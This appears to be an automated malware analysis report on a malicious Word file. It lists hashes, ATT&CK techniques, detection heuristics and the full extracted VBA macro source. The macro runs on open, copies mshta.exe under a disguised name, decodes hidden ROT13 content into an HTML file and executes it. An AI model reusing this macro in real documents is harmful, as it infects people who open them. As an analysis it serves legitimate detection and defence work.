Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b85db76964caaa62…

MALICIOUS

Office (OOXML)

70.6 KB Created: 2020-08-13 09:08:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 7a9af3e52e4b18b5b6e8796bb519ce53 SHA-1: f40b1957015c9a9b0c50f427f9c8be41593fb2eb SHA-256: b85db76964caaa620c2de3df8b73a14fc84c6134a215c64549a050ed0a866dd6
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The AutoOpen macro triggers the execution of a shell command via the Shell() function. This command is constructed from concatenated strings and appears to be 'C:\windows\system32\mshta.exe C:\users\public\calc.com'. The script also writes content to 'C:\users\public\in.html', suggesting it downloads and executes a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2317 bytes
SHA-256: e0ab20eb9f6efac5b0e0938b21a132b9d095a912555b0827a3c18047ca7c8d67
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "abB08"
Function asHDv()
asHDv = frm.txt.text
End Function
Public Function atnBhf(atTMyG, a6IYOD)
atnBhf = aDXvf(atTMyG, a6IYOD)
End Function
Sub AutoOpen()
main
End Sub
Public Sub az6tE(a5kJmh)
a7WbO = Shell(a5kJmh, vbNormalFocus)
End Sub

Attribute VB_Name = "aYnKg"
Public Const aE63V As String = "c&:&\&w&i&n&d&o&w&s&\&s&y&s&t&e&m&3&2&\&m&s&h&t&a&.&e&x&e&"
Public Const avkI6 As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&c&a&l&c&.&c&o&m&"
Public Const aTGsV7 As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&i&n&.&h&t&m&l&"
Public Const akzT1C As String = "&"
Public Const aNuCk4 As String = "&"
Public Const aj1ViA As String = "&"
Public Function au4ZP3(a2JOC, af8CFr)
FileNumber = FreeFile
Open a2JOC For Output As #FileNumber
Print #FileNumber, Spc(616 - 558)
Print #FileNumber, af8CFr
Print #FileNumber, Spc(616 - 558)
Close #FileNumber
End Function
Function aDXvf(aaLOTv, aqshJ)
aDXvf = Replace(aaLOTv, aqshJ, "")
End Function
Sub awijr(a2Sjv, aJa0E)
FileCopy a2Sjv, aJa0E
End Sub
Function aWaTEH(Test$) As String
  Dim tt As Long, x As Integer, y As Integer
  For tt = 1 To Len(Test$)
    y% = 0
    x% = Asc(Mid$(Test$, tt, 1))
    If (x% > 64 And x% < 91) Or (x% > 96 And x% < 123) Then
      y% = 13
      x% = x% - y%
      If x% < 97 And x% > 83 Then x% = x% + 26 Else If x% < 65 Then x% = x% + 26
    End If
    Mid$(Test$, tt, 1) = Chr$(x%)
  Next tt
  aWaTEH = Test$
End Function

Attribute VB_Name = "akpU3"
Sub main()
aAW9dQ = atnBhf(aE63V, akzT1C)
a0Dm8 = atnBhf(avkI6, aNuCk4)
a6thx = atnBhf(aTGsV7, aj1ViA)
awijr aAW9dQ, a0Dm8
Call au4ZP3(a6thx, aWaTEH(asHDv))
az6tE (a0Dm8 & " " & a6thx)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{596006D8-4A75-4E41-A883-65B58F44AA14}{5C61087F-3957-45B1-9C42-86BF99353D5F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 48640 bytes
SHA-256: e1f80ccae1e3e69769a214aa6b2be2777c085685c07d1acdb7732c6331b5239c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.